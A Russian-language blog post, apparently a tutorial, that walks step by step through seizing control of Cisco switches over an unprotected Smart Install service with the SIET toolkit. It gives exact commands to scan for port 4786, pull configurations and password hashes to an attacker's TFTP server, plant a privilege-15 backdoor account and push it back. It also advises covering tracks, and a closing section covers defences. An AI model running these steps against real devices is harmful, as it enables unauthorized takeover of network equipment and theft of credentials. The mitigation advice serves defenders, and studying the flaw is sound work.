Буквально на днях была опубликована любопытная статья Embedi Blog - Cisco Smart Install Remote Code Execution, описывающая пример эксплуатации уязвимости службы Smart Install в коммутаторах Cisco CVE-2018-0171, которой сам вендор присвоил критический уровень опасности. Приведённый в статье пример содержит скрипт, с помощью которого можно удалённо вызвать отказ в обслуживании устройства Cisco (краш IOS с последующей перезагрузкой устройства), на котором выполняется служба Smart Install. Это очередное напоминание сетевым администраторам о том, что к данной службе нужно строго ограничивать доступ, либо вовсе отключать её в том случае, если её функционал не используется. Безотносительно упомянутой уязвимости, в этой заметке мы рассмотрим наглядный пример несанкционированного удалённого управления коммутатором Cisco, на котором не настроено ограничение доступа к службе Smart Install.
Так как служба Smart Install реализует принцип Plug-and-Play и используется, в частности, для автоматизации первичной настройки вновь вводимых в сетевую инфраструктуру устройств Cisco, на множестве моделей таких устройств данная служба включена в конфигурации по умолчанию. Перечень моделей устройств, поддерживающих Smart Install, можно найти на сайте вендора: Supported Devices for Smart Install.
Запущенная служба Smart Install открывает на сетевом устройстве Cisco порт TCP 4786, через который мы сможем получить несанкционированное управление данным устройством в том случае, если сетевой администратор не ограничил доступ к данной службе. Несанкционированный захват управления позволит изменять конфигурацию списков контроля доступа Access-List (ACL), настроек VLAN, административных учётных данных, выполнять перехват сетевого трафика и проводить другие виды манипуляций, то есть перед потенциальным злоумышленником могут открыться действительно широкие возможности.
Подготовка инструментария
В качестве инструментов, которые мы будем использовать для реализации поставленной задачи по анализу сети и захвату управления сетевыми устройствами Cisco, в нашем примере будут использоваться:
- Хост на базе OC Debian GNU/Linux 8 "Jessie"
- Набор скриптов Smart Install Exploitation Tool (SIET)
- Сетевой сканер Nmap
Все перечисленные инструменты являются публично доступными и абсолютно любой желающий может самостоятельно воспроизвести нижеописанные действия.
Для начала установим на Linux-хост пару пакетов из официальных репозиториев Debian:
# apt-get install nmap
# apt-get install git
Создадим в домашнем каталоге текущего пользователя отдельный подкаталог и загрузим в него с помощью git скрипты комплекта SIET. После загрузки перейдём в этот подкаталог и сделаем скрипты исполняемыми:
# mkdir ~/scripts/SIET
# git clone --depth=1 https://github.com/Sab0tag3d/SIET.git ~/scripts/SIET
# cd ~/scripts/SIET/
# chmod +x s*.py
Посмотрим, что у нас в итоге получилось:
Скрипт sTFTP.py представляет собой простую реализацию TFTP-сервера, который будет вызываться из основного скрипта siet.py. TFTP-сервер нам потребуется для того, чтобы сначала на него можно было стянуть с атакуемого коммутатора конфигурацию, а затем передавать с этого же TFTP-сервера модифицированную конфигурацию обратно на устройство. Если на нашей Linux-системе работает настроенный брандмауэр iptables, то на время использования скриптов добавляем пару правил, разрешающих обмен через порты TFTP-сервера по протоколу UDP:
# iptables -A INPUT -p udp -m multiport --dports 69,44000:65000 -j ACCEPT
# iptables -A OUTPUT -p udp -m multiport --sports 69,44000:65000 -j ACCEPT
Порты, используемые нашим временным TFTP-сервером, при желании можно изменить в начале скрипта sTFTP.py, но сделать это желательно до первого запуска скрипта siet.py. В нашем примере используются порты по умолчанию.
Сканирование сети и выбор сетевого устройства
Используя сетевой сканер nmap, выполним сканирование сети на предмет обнаружения сетевых устройств с открытым портом TCP 4786:
# nmap -sS -T4 -p T:4786 --open -oG - 10.1.0.0/16 | awk '/open/{print $2 " " $3}'
10.1.2.5 (sw001.holding.com)
10.1.3.2 (sw002.holding.com)
10.1.4.2 (sw003.holding.com)
10.1.4.3 (sw004.holding.com)
10.1.5.5 (sw005.holding.com)
Опции -sS и -T4 используются для ускорения процесса сканирования, а опция -oG изменяет вывод утилиты nmap в удобный для фильтрации вывода (используем awk) формат.
Если сканирование сети не требуется и нам уже известно имя/адрес сетевого устройства, к которому мы желаем получить доступ, можем быстро проверить доступность порта простой командой:
# nmap -p 4786 SW001
В нашем примере в качестве "наглядного пособия" будет выступать коммутатор Cisco 3750G с именем SW001, IP адресом 10.1.2.5 и актуальной на данный момент времени Suggested-версией IOS 12.2.55-SE12
Если требуется более глубокий анализ ответа, на запросы, посылаемые на порт Smart Install, то, возможно, полезен окажется ещё один скрипт Cisco-Talos - smi_check
Определившись с целевым устройством, переходим к эксплуатации запущенной на нём службы Smart Install.
Извлекаем конфигурационный файл коммутатора
Следующий вызов скрипта поднимет на нашей Linux-системе TFTP-сервер и инициирует процесс передачи основного конфигурационного файла коммутатора на этот TFTP-сервер:
# ./siet.py -g -i SW001
Заглянув в полученный в подкаталоге tftp файл c именем коммутатора SW001.conf, убеждаемся в том, что нам действительно доступна вся конфигурационная информация устройства, в частности имена и хеши паролей локальных пользователей:
# cat tftp/SW001.conf | grep user
В некоторых случаях вместо хешей паролей мы можем увидеть даже пароли в открытом виде. Всё зависит от текущих настроек коммутатора и степени испорченности сетевого администратора, настраивающего ранее это устройство.
На данном этапе мы уже можем говорить о том, что информация, компрометирующая устройство и сетевую инфраструктуру, обслуживаемую этим устройством, нами успешно получена без каких либо аутентификаций и авторизаций. Но наш инструментарий позволит нам пойти ещё дальше.
Вносим изменения в конфигурационный файл
В полученный конфигурационный файл мы можем внести практически любые данные, изменив конфигурацию устройства под свои намерения. Однако, без чёткого понимания совместимости планируемой конфигурации с используемой на устройстве версией IOS, у нас есть шансы допустить ошибку и получить в дальнейшем проблему с работоспособностью устройства.
Поэтому более безопасным для нас методом проникновения на устройство является добавление строк конфигурации, добавляющих дополнительного локального администратора, либо меняющих текущий пароль уже имеющегося в конфигурации локального администратора устройства. Мы рассмотрим вариант с добавлением дополнительного администратора, которого можно будет удалить уже после проникновения на устройство в рамках завершающих мероприятий по "заметанию следов".
На всякий случай сделаем резервную копию загруженного конфигурационного файла:
# cp tftp/SW001.conf tftp/SW001.conf.back
Итак, давайте добавим в конфигурацию локального пользователя с правами администратора.
Как видно из фрагмента конфигурации (на предыдущем скриншоте) сведения о паролях локальных учётных записей хранятся в текущей конфигурации устройства в виде MD5-хеша. Поэтому чтобы добавить нового пользователя нам сначала потребуется сгенерировать совместимый с Cisco хеш, для заведомо известного нам пароля, например PAzw0rd. Для генерации такого хеша, воспользуемся советом "бывалых" и утилитой openssl:
# openssl passwd -salt `openssl rand -base64 3` -1 'PAzw0rd'
Используя получившуюся строку, добавим в конфигурационный файл tftp/SW001.conf дополнительную запись о пользователе, например, с именем fantomas и административными правами (privilege 15) сразу под записью уже имеющегося в конфигурации администратора.
...
username adm privilege 15 secret 5 $1$U5BR$FUxauDEg8G48KD3G7MeGp1
username fantomas privilege 15 secret 5 $1$QgWA$Gga8yHyLGt3TEMt4oUH5u1
...
Изменения внесены. Теперь можем попробовать отправить изменённый конфигурационный файл обратно на коммутатор.
Отправляем изменённую конфигурацию в коммутатор
Перед тем как начать, имейте ввиду то, что отправка новой конфигурации на устройство будет сопровождаться его последующей перезагрузкой (reload). Вместе с этим функция перезагрузки может быть отложена на какое-то предстоящее время. Это позволяет нам более эффективно спланировать время вступления изменений в силу.
Вызываем скрипт в режиме отправки конфигурации:
# ./siet.py -c -i SW001
После того, как получим сообщение "binging socket .. ok", напишем путь к имени изменённого нами конфигурационного файла, который нужно отправить на коммутатор. Затем скрипт спросит нас о времени, на которое может быть отложена автоматическая перезагрузка устройства для форсированного вступления новой конфигурации в силу
После того, как коммутатор поднимется из перезагрузки, пробуем подключиться к нему, используя ранее добавленную учётную запись fantomas
Как видим, задача выполнена и теперь у нас полный доступ к устройству с возможностью управлять устройством непосредственно из его консоли. Теперь можно выполнить необходимые манипуляции в сети, используя скомпрометированное устройство, а затем удалить следы своего пребывания на данном устройстве.
После проведения экспериментов не забываем удалить созданные ранее временные правила iptables на Linux-системе, с которой выполнялась эксплуатация Cisco Smart Install:
# iptables -D INPUT -p udp -m multiport --dports 69,44000:65000 -j ACCEPT
# iptables -D OUTPUT -p udp -m multiport --sports 69,44000:65000 -j ACCEPT
Далее стоит поговорить о том, как от всего этого безобразия можно защититься.
Способы защиты
Если функционал Smart Install не используется, то самый простой способ решения проблемы - отключить данный сервис в конфигурации устройства.
Проверяем текущее состояние Smart Install:
# show vstack config
Как видим, в данный момент функционал Smart Install на устройстве включен в режиме клиента, что и позволило нам проделать выше описанные действия по захвату управления.
Отключаем Smart Install, не забывая сохранить конфигурацию:
# configure terminal
(config)# no vstack
(config)# end
# write
Проверяем текущую конфигурацию ещё раз:
# show vstack config
Как видим, теперь функционал Smart Install не активен, и соответственно на устройстве отсутствует TCP-прослушиватель на порту 4786.
Однако есть информация о том, что в на некоторых моделях Cisco данный сервис не отключается. В таком случае, а также в случае, если функционал Smart Install действительно планируется использовать в работе, нужно ограничить доступ к устройству через механизмы ACL. Информацию о настройке ACL для защиты Smart Install с примерами можно найти в документе Identifying and Mitigating Exploitation of the Cisco IOS Software Smart Install Denial of Service Vulnerability или в русскоязычной статье Cisco Smart Install. Изучаем технологию, ищем векторы атаки, которая по сути и стала отправной точкой для написания данной заметки.
Помимо разового закрытия всех неиспользуемых экземпляров Smart Install, не стоит забывать про то, что ситуация может повториться в дальнейшем для вновь устанавливаемого оборудования Cisco. Поэтому в качестве дополнительной меры контроля за ситуацией, на систему мониторинга, к которой, предположительно, подключается всё сетевое оборудование, можно добавить дополнительное правило, которое будет отслеживать и сигнализировать об устройствах Cisco с незакрытым портом TCP 4786.
В качестве дополнения хочу предостеречь любителей экспериментировать на продуктивных системах о том, что в некоторых ситуациях вместо ожидаемого результата при эксплуатации SIET можно получить "нежданчик" в виде непредсказуемого поведения испытуемого устройства. Например я был свидетелем того, как одно из других испытуемых устройств, коммутатор 2960X, вместо того, чтобы отдать свой конфиг закрашился и благополучно ушёл в перезагрузку.
>> Например я был свидетелем того, как одно из других испытуемых устройств, коммутатор 2960X, вместо того, чтобы отдать свой конфиг закрашился и благополучно ушёл в перезагрузку.<<
Подтверждаю, на 2960 потёрло стартап конфиг и покрашился, ребутнулся девственно чистым.